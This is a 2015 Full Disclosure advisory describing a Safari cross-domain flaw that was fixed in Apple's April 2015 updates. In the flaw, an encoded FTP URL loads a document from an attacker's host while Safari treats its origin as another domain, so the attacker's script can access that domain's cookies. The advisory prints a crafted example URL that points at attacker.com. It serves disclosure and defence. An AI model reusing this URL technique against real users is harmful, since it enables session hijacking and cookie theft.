Message-ID: <CAOm4KJUMnSMBO1VDBGJ=5RuY=Oxcnq1jztT0mZNDKnUmpQOVXg@mail.gmail.com>
Date: Sun, 12 Apr 2015 16:53:51 +0300
From: Jouko Pynnonen <jouko@....fi>
To: fulldisclosure@...lists.org
Subject: [FD] Safari iOS/OS X/Windows cookie access vulnerability

*Overview*
The 4/8/2015 security updates from Apple included a patch for a Safari
cross-domain vulnerability. An attacker could create web content which,
when viewed by a target user, bypasses some of the normal cross-domain
restrictions to access or modify HTTP cookies belonging to any website.

Most websites which allow user logins store their authentication
information (usually session keys) in cookies. Access to these cookies
would allow hijacking authenticated sessions. Cookies can also contain
other sensitive information.

All tested Safari versions on iOS, OS X, and Windows were vulnerable. The
number of affected devices may be of the order of 1 billion.

Technically, the attacker can spoof the ”document.domain” property. It’s
possible that this could lead to compromise of other resources apart from
cookies. However, cookies was the only practical attack scenario found with
the tested versions of Safari.

The HttpOnly and Secure cookie flags represent an important mitigating
factor albeit with some caveats (see below).



*Details*

Safari supports the FTP URL scheme allowing HTML documents to be accessed
via URLs beginning with "ftp://". These URLs can be of the form
ftp://user:password@...t/path. The problem arises when encoded special
characters are used in the user or password parts.

Consider the following URL:

ftp://user%40attacker.com%2Fexploit.html%23@...le.com/


If correctly interpreted, the URL refers to a document on apple.com.
However, when loaded by a vulnerable browser, the network layer uses an
extraneously decoded version of the URL:

ftp://user@...acker.com/exploit.html#apple.com/


The document would be loaded from attacker.com, not apple.com. Yet the
document properties such as ”document.domain” and ”document.cookie” are
correctly initialised using ”apple.com”.

The attacker-supplied document, exploit.html, can therefore access and
modify cookies belonging to apple.com via JavaScript.

It’s possible that cookies aren’t the only resource accessible this way,
but at least recent Safari versions (tested desktop only) use the document
origin instead of only host or domain for most other access control, e.g.
password autofilling and geolocation permissions.

The attack can be performed on normal web pages by embedding an IFRAME
pointing to an FTP URL.



*Mitigating factors*

The cookie attack requires JavaScript so existing cookies with the HttpOnly
flag can’t be seen by the attacker. Support for this flag reportedly
appeared in Safari 4. Earlier versions would be vulnerable even with  the
HttpOnly flag.

Safari allows (over)writing of HttpOnly cookies so the flag doesn’t prevent
this vulnerability to be exploited for session fixation and similar attacks.

Cookies with the Secure flag aren’t accessible for documents loaded via FTP.




*Vulnerable versions*
The following versions were tested and found vulnerable:

- Safari 7.0.4 on OS X 10.9.3
- Safari on iPhone 3GS, iOS 6.1.6
- Safari on iOS 8.1 simulator
- Safari 5.1.7 on Windows 8.1

Earlier versions weren’t available for testing, but according to available
statistics their usage should be negligible.



*Solution*

Apple was notified on January 27, 2015. The following patches were released
in April 2015:

- APPLE-SA-2015-04-08-3 iOS 8.3 - iPhone 4s and later, iPod touch (5th
generation) and later, iPad 2 and later
- APPLE-SA-2015-04-08-1 Safari 8.0.5, Safari 7.1.5, and Safari 6.2.5 - OS X
Mountain Lion, Mavericks, Yosemite

For more information see: https://support.apple.com/en-us/HT201222




*Workaround*
The attacker has to set up an FTP server or use an existing public one.
Such server can run on any TCP/IP port number.

One way to stop such attacks (e.g. for older devices with no available
patch) would be to deny all traffic to the public internet and configure
the device to use a HTTP proxy located in the internal network. This should
prevent access to all FTP URLs.




*Credits*
The vulnerability was found and researched by Jouko Pynnönen of Klikki Oy,
Finland.



-- 
Jouko Pynnonen <jouko@....fi>
Klikki Oy - http://klikki.fi - @klikkioy

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